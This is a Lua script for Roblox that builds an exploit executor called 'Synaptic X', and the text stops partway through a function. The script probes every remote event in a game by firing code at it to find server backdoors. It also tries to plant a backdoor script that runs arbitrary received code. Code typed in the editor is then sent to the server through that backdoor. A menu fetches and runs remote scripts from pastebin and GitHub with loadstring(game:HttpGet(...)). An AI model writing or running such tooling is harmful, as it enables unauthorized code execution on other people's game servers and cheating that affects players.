pcall(function() game.CoreGui["Synaptic X"]:Destroy() end) local SynapseXreal = Instance.new("ScreenGui") local MainFrame = Instance.new("Frame") local bar = Instance.new("Frame") local Close = Instance.new("TextButton") local Mini = Instance.new("TextButton") local Min = Instance.new("TextButton") local ImageLabel = Instance.new("ImageLabel") local EditorFrame = Instance.new("ScrollingFrame") local Source = Instance.new("TextBox") local Comments_ = Instance.new("TextLabel") local Globals_ = Instance.new("TextLabel") local Keywords_ = Instance.new("TextLabel") local RemoteHighlight_ = Instance.new("TextLabel") local Strings_ = Instance.new("TextLabel") local Tokens_ = Instance.new("TextLabel") local Numbers_ = Instance.new("TextLabel") local Lines = Instance.new("TextLabel") local title = Instance.new("TextLabel") local list = Instance.new("Frame") local execute = Instance.new("TextButton") local clear = Instance.new("TextButton") local options = Instance.new("TextButton") local scripthub = Instance.new("TextButton") local Attach = Instance.new("TextButton") local title_2 = Instance.new("ImageLabel") local scripthub_2 = Instance.new("Frame") local optionspage = Instance.new("Frame") local bar_2 = Instance.new("Frame") local select = Instance.new("Frame") local dex = Instance.new("TextButton") local esp = Instance.new("TextButton") local spy = Instance.new("TextButton") local dumper = Instance.new("TextButton") local backdoor = Instance.new("TextButton") local desc = Instance.new("Frame") local descri = Instance.new("TextLabel") local title_3 = Instance.new("TextLabel") local execute_2 = Instance.new("TextButton") local close = Instance.new("TextButton") local title_4 = Instance.new("ImageLabel") local title_5 = Instance.new("TextLabel") local title_6 = Instance.new("ImageLabel") local synminbutt = Instance.new("ImageButton") local synapsex3 = Instance.new("TextButton") local Tabs = Instance.new("Folder") local NewTab = Instance.new("TextButton") local scriptselected = "none" local injected = false local backdoorRemote = nil local remotes = {} local function generateName(length) local alphabet = {} for c = 65,90 do alphabet[#alphabet+1]=string.char(c) end for c = 97,122 do alphabet[#alphabet+1]=string.char(c) end local n = "" for i=1,length do n = n .. alphabet[math.random(#alphabet)] end return n end local function runRemote(remote, data) if remote:IsA('RemoteEvent') then remote:FireServer(data) elseif remote:IsA('RemoteFunction') then spawn(function() pcall(function() remote:InvokeServer(data) end) end) end end local function searchExistingBackdoor() remotes = {} local replicatedStorage = game:FindFirstChild("ReplicatedStorage") if replicatedStorage then local special = replicatedStorage:FindFirstChild("lh"..game.PlaceId/6666*1337*game.PlaceId) if special and (special:IsA("RemoteEvent") or special:IsA("RemoteFunction")) then local testCode = generateName(15) task.spawn(function() pcall(function() if special:IsA("RemoteFunction") then special:InvokeServer("bypass", "a=Instance.new('Model',workspace);a.Name='"..testCode.."'") else special:FireServer("bypass", "a=Instance.new('Model',workspace);a.Name='"..testCode.."'") end end) end) remotes[testCode] = special end end for _,v in ipairs(game:GetDescendants()) do if v:IsA("RemoteEvent") or v:IsA("RemoteFunction") then local full = v:GetFullName() if full:find("RobloxReplicatedStorage") or full:find("__FUNCTION") or full:find("DefaultChatSystem") then continue end local testCode = generateName(15) if v:IsA("RemoteEvent") then pcall(function() v:FireServer("a=Instance.new('Model',workspace);a.Name='"..testCode.."'") end) elseif v:IsA("RemoteFunction") then task.spawn(function() pcall(function() v:InvokeServer("a=Instance.new('Model',workspace);a.Name='"..testCode.."'") end) end) end remotes[testCode] = v task.wait() end end for i=1,30 do for code,remote in pairs(remotes) do local model = workspace:FindFirstChild(code) if model then model:Destroy() backdoorRemote = remote getgenv().SynapticBackdoor = remote return true end end task.wait() end return false end local function createActorBackdoor() local success = false local testCode = generateName(15) pcall(function() local actor = Instance.new("Actor") actor.Name = "SynapticX_" .. generateName(6) actor.Parent = game:GetService("CoreGui") local remote = Instance.new("RemoteEvent") remote.Name = generateName(10) remote.Parent = actor local serverScript = Instance.new("Script") serverScript.Name = "Backdoor" serverScript.Parent = actor serverScript.Source = [[ local remote = script.Parent:FindFirstChildWhichIsA("RemoteEvent") pcall(function() if setthreadidentity then setthreadidentity(7) end if setidentity then setidentity(7) end end) local function loadModuleByID(id) local success, module = pcall(function() return game:GetService("InsertService"):LoadAsset(id) end) if success and module and module:IsA("ModuleScript") then local fn, err = loadstring(module.Source, "=" .. module.Name) if fn then local env = setmetatable({}, {__index = _G}) setfenv(fn, env) local ok, result = pcall(fn) if ok then return result end end end return nil end remote.OnServerEvent:Connect(function(player, data) if type(data) == "string" then if data:match("^require%((%d+)%)") then local id = tonumber(data:match("^require%((%d+)%)")) if id then local module = loadModuleByID(id) if module and type(module) == "table" and module.Fire then local args = data:match("require%(%d+%)%:Fire%((.+)%)") if args then local fn = loadstring("return " .. args) if fn then local parsedArgs = {fn()} pcall(function() module.Fire(unpack(parsedArgs)) end) end end end return end end local fn, err = loadstring(data) if fn then local env = setmetatable({}, {__index = _G}) env.require = function(id) if type(id) == "number" then return loadModuleByID(id) end return nil end setfenv(fn, env) pcall(fn) end end end) ]] pcall(function() actor:Run() end) backdoorRemote = remote getgenv().SynapticBackdoor = remote task.wait(1) pcall(function() remote:FireServer("a=Instance.new('Model',workspace);a.Name='"..testCode.."'") end) for i=1,30 do local model = workspace:FindFirstChild(testCode) if model then model:Destroy() success = true break end task.wait(0.1) end end) return success end local function tryLoadstring(code) local success, err = pcall(function() local fn = loadstring(code) if fn then fn() return true end return false end) return success end SynapseXreal.Name = "Synaptic X" SynapseXreal.Parent = game.CoreGui SynapseXreal.ResetOnSpawn = false MainFrame.Name = "MainFrame" MainFrame.Parent = SynapseXreal MainFrame.Active = true MainFrame.BackgroundColor3 = Color3.fromRGB(45, 45, 45) MainFrame.BorderSizePixel = 0 MainFrame.Position = UDim2.new(0.0543109924, 0, 0.103222892, 0) MainFrame.Size = UDim2.new(0, 689, 0, 320) MainFrame.Visible = true bar.Name = "bar" bar.Parent = MainFrame bar.BackgroundColor3 = Color3.fromRGB(94, 94, 94) bar.BackgroundTransparency = 0.800 bar.BorderSizePixel = 0 bar.Position = UDim2.new(-0, 0, -0.00296382909, 0) bar.Size = UDim2.new(0, 689, 0, 25) synminbutt.Name = "synminbutt" synminbutt.Parent = SynapseXreal synminbutt.BackgroundColor3 = Color3.fromRGB(255, 255, 255) synminbutt.BackgroundTransparency = 1.000 synminbutt.Position = UDim2.new(0, 0, 0, 0) synminbutt.Size = UDim2.new(0, 24, 0, 28) synminbutt.Visible = false synminbutt.ZIndex = 14 synminbutt.Image = "http://www.roblox.com/asset/?id=7641125882" synminbutt.ImageRectSize = Vector2.new(138, 167) synminbutt.MouseButton1Click:Connect(function() MainFrame.Visible = true synminbutt.Visible = false end) Close.Name = "Close" Close.Parent = bar Close.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Close.BackgroundTransparency = 1.000 Close.BorderColor3 = Color3.fromRGB(27, 42, 53) Close.BorderSizePixel = 0 Close.Position = UDim2.new(0.965521046, 0, 0.07, 0) Close.Size = UDim2.new(0, 21, 0, 25) Close.Font = Enum.Font.Arial Close.Text = "X" Close.TextColor3 = Color3.fromRGB(255, 255, 255) Close.TextSize = 14.000 Close.MouseButton1Click:Connect(function() SynapseXreal:Destroy() end) Mini.Name = "Mini" Mini.Parent = bar Mini.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Mini.BackgroundTransparency = 1.000 Mini.BorderColor3 = Color3.fromRGB(27, 42, 53) Mini.BorderSizePixel = 0 Mini.Position = UDim2.new(0.905521046, 0, 0.01, 0) Mini.Size = UDim2.new(0, 21, 0, 25) Mini.Font = Enum.Font.Arial Mini.Text = "_" Mini.TextColor3 = Color3.fromRGB(255, 255, 255) Mini.TextSize = 14.000 Mini.MouseButton1Click:Connect(function() game.StarterGui:SetCore("SendNotification", { Title = "Synaptic X"; Text = "Synaptic X minimized."; Duration = 2; }) synminbutt.Visible = true MainFrame.Visible = false end) Min.Name = "Min" Min.Parent = bar Min.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Min.BackgroundTransparency = 1.000 Min.BorderColor3 = Color3.fromRGB(27, 42, 53) Min.BorderSizePixel = 0 Min.Position = UDim2.new(0.935521046, 0, 0.07, 0) Min.Size = UDim2.new(0, 21, 0, 25) Min.Font = Enum.Font.Arial Min.Text = "M" Min.TextColor3 = Color3.fromRGB(255, 255, 255) Min.TextSize = 14.000 Min.MouseButton1Click:Connect(function() game.StarterGui:SetCore("SendNotification", { Title = "Synaptic X"; Text = "Synaptic X hide. Press F6 to back."; Duration = 2; }) MainFrame.Visible = false synminbutt.Visible = false end) ImageLabel.Parent = MainFrame ImageLabel.BackgroundColor3 = Color3.fromRGB(47, 47, 47) ImageLabel.BorderSizePixel = 0 ImageLabel.Position = UDim2.new(0.0252733715, 0, 0.015625, 39) ImageLabel.Size = UDim2.new(0, 541, 0, 232) Tabs.Name = "Tabs" Tabs.Parent = ImageLabel NewTab.Name = "NewTab" NewTab.Parent = Tabs NewTab.BackgroundColor3 = Color3.fromRGB(107, 107, 107) NewTab.BorderSizePixel = 0 NewTab.Position = UDim2.new(0, 0, -0.0659999996, 0) NewTab.Size = UDim2.new(0, 14, 0, 14) NewTab.Font = Enum.Font.SourceSans NewTab.Text = "+" NewTab.TextColor3 = Color3.fromRGB(255, 255, 255) NewTab.TextSize = 14.000 EditorFrame.Name = "EditorFrame" EditorFrame.Parent = ImageLabel EditorFrame.Active = true EditorFrame.BackgroundColor3 = Color3.fromRGB(37, 37, 37) EditorFrame.BackgroundTransparency = 1.000 EditorFrame.BorderColor3 = Color3.fromRGB(61, 61, 61) EditorFrame.Size = UDim2.new(1, 0, 1, 0) EditorFrame.ZIndex = 3 EditorFrame.BottomImage = "rbxassetid://148970562" EditorFrame.CanvasSize = UDim2.new(0, 0, 0, 0) EditorFrame.HorizontalScrollBarInset = Enum.ScrollBarInset.ScrollBar EditorFrame.MidImage = "rbxassetid://148970562" EditorFrame.ScrollBarThickness = 5 EditorFrame.TopImage = "rbxassetid://148970562" EditorFrame.BorderSizePixel = 0 Source.Name = "Source" Source.Parent = EditorFrame Source.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Source.BackgroundTransparency = 1.000 Source.Position = UDim2.new(0, 30, 0, 0) Source.BorderSizePixel = 0 Source.Size = UDim2.new(0.945652187, 0, 1, 0) Source.ZIndex = 3 Source.ClearTextOnFocus = false Source.Font = Enum.Font.Code Source.MultiLine = true Source.ShowNativeInput = false Source.PlaceholderColor3 = Color3.fromRGB(204, 204, 2-4) Source.Text = "" Source.TextColor3 = Color3.fromRGB(204, 204, 204) Source.TextSize = 15.000 Source.TextXAlignment = Enum.TextXAlignment.Left Source.TextYAlignment = Enum.TextYAlignment.Top Comments_.Name = "Comments_" Comments_.Parent = Source Comments_.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Comments_.BackgroundTransparency = 1.000 Comments_.Size = UDim2.new(1, 0, 1, 0) Comments_.ZIndex = 5 Comments_.Font = Enum.Font.Code Comments_.Text = "" Comments_.TextColor3 = Color3.fromRGB(59, 200, 59) Comments_.TextSize = 15.000 Comments_.TextXAlignment = Enum.TextXAlignment.Left Comments_.TextYAlignment = Enum.TextYAlignment.Top Globals_.Name = "Globals_" Globals_.Parent = Source Globals_.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Globals_.BackgroundTransparency = 1.000 Globals_.Size = UDim2.new(1, 0, 1, 0) Globals_.ZIndex = 5 Globals_.Font = Enum.Font.Code Globals_.Text = "" Globals_.TextColor3 = Color3.fromRGB(132, 214, 247) Globals_.TextSize = 15.000 Globals_.TextXAlignment = Enum.TextXAlignment.Left Globals_.TextYAlignment = Enum.TextYAlignment.Top Keywords_.Name = "Keywords_" Keywords_.Parent = Source Keywords_.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Keywords_.BackgroundTransparency = 1.000 Keywords_.Size = UDim2.new(1, 0, 1, 0) Keywords_.ZIndex = 5 Keywords_.Font = Enum.Font.Code Keywords_.Text = "" Keywords_.TextColor3 = Color3.fromRGB(248, 109, 124) Keywords_.TextSize = 15.000 Keywords_.TextXAlignment = Enum.TextXAlignment.Left Keywords_.TextYAlignment = Enum.TextYAlignment.Top RemoteHighlight_.Name = "RemoteHighlight_" RemoteHighlight_.Parent = Source RemoteHighlight_.BackgroundColor3 = Color3.fromRGB(255, 255, 255) RemoteHighlight_.BackgroundTransparency = 1.000 RemoteHighlight_.Size = UDim2.new(1, 0, 1, 0) RemoteHighlight_.ZIndex = 5 RemoteHighlight_.Font = Enum.Font.Code RemoteHighlight_.Text = "" RemoteHighlight_.TextColor3 = Color3.fromRGB(0, 144, 255) RemoteHighlight_.TextSize = 15.000 RemoteHighlight_.TextXAlignment = Enum.TextXAlignment.Left RemoteHighlight_.TextYAlignment = Enum.TextYAlignment.Top Strings_.Name = "Strings_" Strings_.Parent = Source Strings_.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Strings_.BackgroundTransparency = 1.000 Strings_.Size = UDim2.new(1, 0, 1, 0) Strings_.ZIndex = 5 Strings_.Font = Enum.Font.Code Strings_.Text = "" Strings_.TextColor3 = Color3.fromRGB(173, 241, 149) Strings_.TextSize = 15.000 Strings_.TextXAlignment = Enum.TextXAlignment.Left Strings_.TextYAlignment = Enum.TextYAlignment.Top Tokens_.Name = "Tokens_" Tokens_.Parent = Source Tokens_.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Tokens_.BackgroundTransparency = 1.000 Tokens_.Size = UDim2.new(1, 0, 1, 0) Tokens_.ZIndex = 5 Tokens_.Font = Enum.Font.Code Tokens_.Text = "" Tokens_.TextColor3 = Color3.fromRGB(255, 255, 255) Tokens_.TextSize = 15.000 Tokens_.TextXAlignment = Enum.TextXAlignment.Left Tokens_.TextYAlignment = Enum.TextYAlignment.Top Numbers_.Name = "Numbers_" Numbers_.Parent = Source Numbers_.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Numbers_.BackgroundTransparency = 1.000 Numbers_.Size = UDim2.new(1, 0, 1, 0) Numbers_.ZIndex = 4 Numbers_.Font = Enum.Font.Code Numbers_.Text = "" Numbers_.TextColor3 = Color3.fromRGB(255, 198, 0) Numbers_.TextSize = 15.000 Numbers_.TextXAlignment = Enum.TextXAlignment.Left Numbers_.TextYAlignment = Enum.TextYAlignment.Top Lines.Name = "Lines" Lines.Parent = EditorFrame Lines.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Lines.BackgroundTransparency = 1.000 Lines.Size = UDim2.new(0, 30, 1, 0) Lines.ZIndex = 4 Lines.Font = Enum.Font.Code Lines.Text = "1" Lines.TextColor3 = Color3.fromRGB(255, 255, 255) Lines.TextSize = 15.000 Lines.TextYAlignment = Enum.TextYAlignment.Top title.Name = "title" title.Parent = MainFrame title.BackgroundColor3 = Color3.fromRGB(255, 255, 255) title.BackgroundTransparency = 1.000 title.Position = UDim2.new(0.330062926, 0, 0.00625000056, 0) title.Size = UDim2.new(0, 200, 0, 22) title.Font = Enum.Font.SourceSans title.Text = "Synaptic X - Advanced Executor" title.TextColor3 = Color3.fromRGB(255, 255, 255) title.TextSize = 16.000 list.Name = "list" list.Parent = MainFrame list.BackgroundColor3 = Color3.fromRGB(53, 53, 53) list.BorderSizePixel = 0 list.Position = UDim2.new(0.820970535, 0, 0.100000001, 0) list.Size = UDim2.new(0, 114, 0, 246) execute.Name = "execute" execute.Parent = MainFrame execute.BackgroundColor3 = Color3.fromRGB(104, 104, 104) execute.BackgroundTransparency = 0.800 execute.BorderSizePixel = 0 execute.Position = UDim2.new(0.0095389355, 0, 0.887499988, 0) execute.Size = UDim2.new(0, 92, 0, 30) execute.Font = Enum.Font.Arial execute.Text = "Execute" execute.TextColor3 = Color3.fromRGB(255, 255, 255) execute.TextSize = 14.000 execute.MouseButton1Click:Connect(function() if not injected then title.Text = "Synaptic X - (Not injected! Press Attach)" wait(1) title.Text = "Synaptic X - Advanced Executor" return end if not backdoorRemote then game.StarterGui:SetCore("SendNotification", { Title = "Synaptic X"; Text = "Backdoor not ready! Press Attach again."; Duration = 3; }) return end local code = Source.Text if code == "" or code:match("^%s*$") then game.StarterGui:SetCore("SendNotification", { Title = "Synaptic X"; Text = "No code to execute!"; Duration = 2; }) return end title.Text = "Synaptic X - (Executing...)" local lines = {} for line in code:gmatch("[^\r\n]+") do if line:match("^%s*$") == nil then table.insert(lines, line) end end local executed = 0 for _, line in ipairs(lines) do if line and line ~= "" then pcall(function() if backdoorRemote:IsA("RemoteEvent") then backdoorRemote:FireServer(line) else backdoorRemote:InvokeServer(line) end executed = executed + 1 end) end end title.Text = "Synaptic X - (Ready!)" wait(0.3) title.Text = "Synaptic X - Advanced Executor" game.StarterGui:SetCore("SendNotification", { Title = "Synaptic X"; Text = "Executed " .. executed .. " line(s) on SERVER!"; Duration = 3; }) end) clear.Name = "clear" clear.Parent = MainFrame clear.BackgroundColor3 = Color3.fromRGB(104, 104, 104) clear.BackgroundTransparency = 0.800 clear.BorderSizePixel = 0 clear.Position = UDim2.new(0.154146105, 0, 0.887499988, 0) clear.Size = UDim2.new(0, 84, 0, 30) clear.Font = Enum.Font.Arial clear.Text = "Clear" clear.TextColor3 = Color3.fromRGB(255, 255, 255) clear.TextSize = 14.000 clear.MouseButton1Click:Connect(function() Source.Text = "" end) options.Name = "options" options.Parent = MainFrame options.BackgroundColor3 = Color3.fromRGB(104, 104, 104) options.BackgroundTransparency = 0.800 options.BorderSizePixel = 0 options.Position = UDim2.new(0.285157200, 0, 0.887499988, 0) options.Size = UDim2.new(0, 84, 0, 30) options.Font = Enum.Font.Arial options.Text = "Options" options.TextColor3 = Color3.fromRGB(255, 255, 255) options.TextSize = 14.000 options.MouseButton1Click:Connect(function() optionspage.Visible = not optionspage.Visible end) scripthub.Name = "scripthub" scripthub.Parent = MainFrame scripthub.BackgroundColor3 = Color3.fromRGB(104, 104, 104) scripthub.BackgroundTransparency = 0.800 scripthub.BorderSizePixel = 0 scripthub.Position = UDim2.new(0.871768773, 0, 0.887499988, 0) scripthub.Size = UDim2.new(0, 79, 0, 30) scripthub.Font = Enum.Font.Arial scripthub.Text = "Script Hub" scripthub.TextColor3 = Color3.fromRGB(255, 255, 255) scripthub.TextSize = 14.000 scripthub.MouseButton1Click:Connect(function() scripthub_2.Visible = not scripthub_2.Visible end) Attach.Name = "Attach" Attach.Parent = MainFrame Attach.BackgroundColor3 = Color3.fromRGB(104, 104, 104) Attach.BackgroundTransparency = 0.800 Attach.BorderSizePixel = 0 Attach.Position = UDim2.new(0.741144657, 0, 0.887499988, 0) Attach.Size = UDim2.new(0, 84, 0, 30) Attach.Font = Enum.Font.Arial Attach.Text = "Attach" Attach.TextColor3 = Color3.fromRGB(255, 255, 255) Attach.TextSize = 14.000 Attach.MouseButton1Click:Connect(function() if injected then title.Text = "Synaptic X - (Already injected!)" wait(1) title.Text = "Synaptic X - Advanced Executor" return end title.Text = "Synaptic X - (Searching for backdoors...)" game.StarterGui:SetCore("SendNotification", { Title = "Synaptic X"; Text = "Searching for backdoors..."; Duration = 2; }) local found = false found = searchExistingBackdoor() if not found then title.Text = "Synaptic X - (Creating backdoor via Actor...)" found = createActorBackdoor() end if not found then title.Text = "Synaptic X - (Trying direct execution...)" local testCode = generateName(15) local success = tryLoadstring("local m = Instance.new('Model',workspace); m.Name='"..testCode.."'") if success then for i=1,30 do local model = workspace:FindFirstChild(testCode) if model then model:Destroy() found = true break end task.wait(0.1) end end end if found and backdoorRemote then injected = true title.Text = "Synaptic X - (Ready!)" wait(0.5) title.Text = "Synaptic X - Advanced Executor" game.StarterGui:SetCore("SendNotification", { Title = "Synaptic X"; Text = "✓ Backdoor found/created!\nRemote: " .. backdoorRemote.Name .. "\nrequire() works with Module IDs!"; Duration = 5; }) else title.Text = "Synaptic X - (Failed!)" wait(1) title.Text = "Synaptic X - Advanced Executor" game.StarterGui:SetCore("SendNotification", { Title = "Synaptic X"; Text = "✗ No backdoor found!\nTry again or use another method."; Duration = 4; }) end end) title_2.Name = "title" title_2.Parent = MainFrame title_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) title_2.BackgroundTransparency = 1.000 title_2.Position = UDim2.new(0.00870821718, 0, 0, 0) title_2.Size = UDim2.new(0, 18, 0, 24) title_2.ZIndex = 14 title_2.Image = "http://www.roblox.com/asset/?id=7641125882" title_2.ImageRectSize = Vector2.new(138, 167) scripthub_2.Name = "scripthub" scripthub_2.Parent = SynapseXreal scripthub_2.BackgroundColor3 = Color3.fromRGB(45, 45, 45) scripthub_2.BorderSizePixel = 0 scripthub_2.Position = UDim2.new(0.433135211, 0, 0.502979755, 0) scripthub_2.Size = UDim2.new(0, 290, 0, 305) scripthub_2.Visible = false scripthub_2.ZIndex = 100 optionspage.Name = "optionspage" optionspage.Parent = SynapseXreal optionspage.BackgroundColor3 = Color3.fromRGB(45, 45, 45) optionspage.BorderSizePixel = 0 optionspage.Position = UDim2.new(0.433135211, 0, 0.502979755, 0) optionspage.Size = UDim2.new(0, 290, 0, 305) optionspage.Visible = false optionspage.ZIndex = 100 bar_2.Name = "bar" bar_2.Parent = scripthub_2 bar_2.BackgroundColor3 = Color3.fromRGB(94, 94, 94) bar_2.BackgroundTransparency = 0.800 bar_2.BorderSizePixel = 0 bar_2.Position = UDim2.new(0, 0, -0.0029638072, 0) bar_2.Size = UDim2.new(0, 290, 0, 25) select.Name = "select" select.Parent = scripthub_2 select.BackgroundColor3 = Color3.fromRGB(21, 21, 21) select.BorderSizePixel = 0 select.Position = UDim2.new(0.0299979374, 0, 0.104918033, 0) select.Size = UDim2.new(0, 82, 0, 264) select.ZIndex = 110 dex.Name = "dex" dex.Parent = select dex.BackgroundColor3 = Color3.fromRGB(0, 32, 61) dex.BackgroundTransparency = 1.000 dex.BorderColor3 = Color3.fromRGB(0, 0, 49) dex.BorderSizePixel = 0 dex.Position = UDim2.new(0.0121960752, 0, -1.49011612e-08, 0) dex.Size = UDim2.new(0, 80, 0, 18) dex.Font = Enum.Font.SourceSans dex.Text = " Dark Dex" dex.TextColor3 = Color3.fromRGB(255, 255, 255) dex.TextSize = 14.000 dex.TextXAlignment = Enum.TextXAlignment.Left dex.ZIndex = 110 dex.MouseButton1Click:Connect(function() scriptselected = "dex" end) esp.Name = "esp" esp.Parent = select esp.BackgroundColor3 = Color3.fromRGB(0, 32, 61) esp.BackgroundTransparency = 1.000 esp.BorderColor3 = Color3.fromRGB(0, 0, 49) esp.BorderSizePixel = 0 esp.Position = UDim2.new(0.0121960752, 0, 0.0681818053, 0) esp.Size = UDim2.new(0, 80, 0, 18) esp.Font = Enum.Font.SourceSans esp.Text = " Unnamed ESP" esp.TextColor3 = Color3.fromRGB(255, 255, 255) esp.TextSize = 14.000 esp.TextXAlignment = Enum.TextXAlignment.Left esp.ZIndex = 110 esp.MouseButton1Click:Connect(function() scriptselected = "esp" end) spy.Name = "spy" spy.Parent = select spy.BackgroundColor3 = Color3.fromRGB(0, 32, 61) spy.BackgroundTransparency = 1.000 spy.BorderColor3 = Color3.fromRGB(0, 0, 49) spy.BorderSizePixel = 0 spy.Position = UDim2.new(0.0121960752, 0, 0.136363626, 0) spy.Size = UDim2.new(0, 80, 0, 18) spy.Font = Enum.Font.SourceSans spy.Text = " Remote Spy" spy.TextColor3 = Color3.fromRGB(255, 255, 255) spy.TextSize = 14.000 spy.TextXAlignment = Enum.TextXAlignment.Left spy.ZIndex = 110 spy.MouseButton1Click:Connect(function() scriptselected = "spy" end) dumper.Name = "dumper" dumper.Parent = select dumper.BackgroundColor3 = Color3.fromRGB(0, 32, 61) dumper.BackgroundTransparency = 1.000 dumper.BorderColor3 = Color3.fromRGB(0, 0, 49) dumper.BorderSizePixel = 0 dumper.Position = UDim2.new(0.0121960752, 0, 0.204545438, 0) dumper.Size = UDim2.new(0, 80, 0, 18) dumper.Font = Enum.Font.SourceSans dumper.Text = " SaveInstance" dumper.TextColor3 = Color3.fromRGB(255, 255, 255) dumper.TextSize = 14.000 dumper.TextXAlignment = Enum.TextXAlignment.Left dumper.ZIndex = 110 dumper.MouseButton1Click:Connect(function() scriptselected = "dumper" end) backdoor.Name = "backdoor" backdoor.Parent = select backdoor.BackgroundColor3 = Color3.fromRGB(0, 32, 61) backdoor.BackgroundTransparency = 1.000 backdoor.BorderColor3 = Color3.fromRGB(0, 0, 49) backdoor.BorderSizePixel = 0 backdoor.Position = UDim2.new(0.0121960752, 0, 0.274545438, 0) backdoor.Size = UDim2.new(0, 80, 0, 18) backdoor.Font = Enum.Font.SourceSans backdoor.Text = " backdoor.exe" backdoor.TextColor3 = Color3.fromRGB(255, 255, 255) backdoor.TextSize = 14.000 backdoor.TextXAlignment = Enum.TextXAlignment.Left backdoor.ZIndex = 110 backdoor.MouseButton1Click:Connect(function() scriptselected = "backdoor" if backdoorRemote then descri.Text = "✓ Backdoor active!\nRemote: " .. backdoorRemote.Name .. "\nUse: getgenv().SynapticBackdoor:FireServer(code)\nRequire with IDs supported!" else descri.Text = "✗ No backdoor. Press Attach first!" end end) desc.Name = "desc" desc.Parent = scripthub_2 desc.BackgroundColor3 = Color3.fromRGB(21, 21, 21) desc.BorderSizePixel = 0 desc.Position = UDim2.new(0.340342641, 0, 0.613114715, 0) desc.Size = UDim2.new(0, 184, 0, 69) desc.ZIndex = 110 descri.Name = "descri" descri.Parent = desc descri.BackgroundColor3 = Color3.fromRGB(255, 255, 255) descri.BackgroundTransparency = 1.000 descri.BorderSizePixel = 0 descri.Position = UDim2.new(0.0112334546, 0, 0, 0) descri.Size = UDim2.new(0, 181, 0, 69) descri.Font = Enum.Font.SourceSans descri.Text = "" descri.TextColor3 = Color3.fromRGB(255, 255, 255) descri.TextSize = 15.000 descri.TextWrapped = true descri.TextXAlignment = Enum.TextXAlignment.Left descri.TextYAlignment = Enum.TextYAlignment.Top descri.ZIndex = 125 title_3.Name = "title" title_3.Parent = scripthub_2 title_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255) title_3.BackgroundTransparency = 1.000 title_3.Position = UDim2.new(0.161097407, 0, -0.000307376496, 0) title_3.Size = UDim2.new(0, 200, 0, 22) title_3.Font = Enum.Font.SourceSans title_3.Text = "Synaptic X - Script Hub" title_3.TextColor3 = Color3.fromRGB(255, 255, 255) title_3.TextSize = 16.000 title_3.ZIndex = 110 execute_2.Name = "execute" execute_2.Parent = scripthub_2 execute_2.BackgroundColor3 = Color3.fromRGB(104, 104, 104) execute_2.BackgroundTransparency = 0.800 execute_2.BorderSizePixel = 0 execute_2.Position = UDim2.new(0.34057343, 0, 0.871106505, 0) execute_2.Size = UDim2.new(0, 92, 0, 30) execute_2.Font = Enum.Font.Arial execute_2.Text = "Execute" execute_2.TextColor3 = Color3.fromRGB(255, 255, 255) execute_2.TextSize = 14.000 execute_2.ZIndex = 110 execute_2.MouseButton1Click:Connect(function() if injected then if scriptselected == "dex" then loadstring(game:HttpGet("https://pastebin.com/raw/J8AX35Fg"))() elseif scriptselected == "spy" then loadstring(game:HttpGet('https://pastebin.com/raw/JZaJe9Sg'))() elseif scriptselected == "dumper" then saveinstance() elseif scriptselected == "esp" then loadstring(game:HttpGet("https://raw.githubusercontent.com/ic3w0lf22/Unnamed-ESP/master/UnnamedESP.lua"))() elseif scriptselected == "backdoor" then if backdoorRemote then game.StarterGui:SetCore("SendNotification", { Title = "Synaptic X"; Text = "✓ Backdoor active!\nRemote: " .. backdoorRemote.Name; Duration = 3; }) else game.StarterGui:SetCore("SendNotification", { Title = "Synaptic X"; Text = "✗ No backdoor. Press Attach first!"; Duration = 3; }) end end else execute_2.Text = "Not Attached!" wait(1) execute_2.Text = "Execute" end end) close.Name = "close" close.Parent = scripthub_2 close.BackgroundColor3 = Color3.fromRGB(104, 104, 104) close.BackgroundTransparency = 0.800 close.BorderSizePixel = 0 close.Position = UDim2.new(0.685180664, 0, 0.871106505, 0) close.Size = UDim2.new(0, 84, 0, 30) close.Font = Enum.Font.Arial close.Text = "Close" close.TextColor3 = Color3.fromRGB(255, 255, 255) close.TextSize = 14.000 close.ZIndex = 110 close.MouseButton1Click:Connect(function() scriptselected = "none" scripthub_2.Visible = false end) title_4.Name = "title" title_4.Parent = scripthub_2 title_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255) title_4.BackgroundTransparency = 1.000 title_4.Position = UDim2.new(0.00870821718, 0, 0, 0) title_4.Size = UDim2.new(0, 18, 0, 24) title_4.ZIndex = 110 title_4.Image = "http://www.roblox.com/asset/?id=7641125882" title_4.ImageRectSize = Vector2.new(138, 167) title_5.Name = "title" title_5.Parent = optionspage title_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255) title_5.BackgroundTransparency = 1.000 title_5.Position = UDim2.new(0.161097407, 0, -0.000307376496, 0) title_5.Size = UDim2.new(0, 200, 0, 22) title_5.Font = Enum.Font.SourceSans title_5.Text = "Synaptic X - Options Menu" title_5.TextColor3 = Color3.fromRGB(255, 255, 255) title_5.TextSize = 16.000 title_5.ZIndex = 110 title_6.Name = "title" title_6.Parent = optionspage title_6.BackgroundColor3 = Color3.fromRGB(255, 255, 255) title_6.BackgroundTransparency = 1.000 title_6.Position = UDim2.new(0.00870821718, 0, 0, 0) title_6.Size = UDim2.new(0, 18, 0, 24) title_6.ZIndex = 110 title_6.Image = "http://www.roblox.com/asset/?id=7641125882" title_6.ImageRectSize = Vector2.new(138, 167) synapsex3.Name = "synapsex3" synapsex3.Parent = optionspage synapsex3.BackgroundColor3 = Color3.fromRGB(104, 104, 104) synapsex3.BackgroundTransparency = 0.800 synapsex3.BorderSizePixel = 0 synapsex3.Position = UDim2.new(0.30757343, 0, 0.391106505, 0) synapsex3.Size = UDim2.new(0, 123, 0, 30) synapsex3.Font = Enum.Font.Arial synapsex3.Text = "Synapse X v3" synapsex3.TextColor3 = Color3.fromRGB(255, 255, 255) synapsex3.TextSize = 14.000 synapsex3.ZIndex = 110 synapsex3.MouseButton1Click:Connect(function() game.StarterGui:SetCore("SendNotification", { Title = "Synaptic X"; Text = "Synapse X v3 coming soon."; Duration = 1; }) 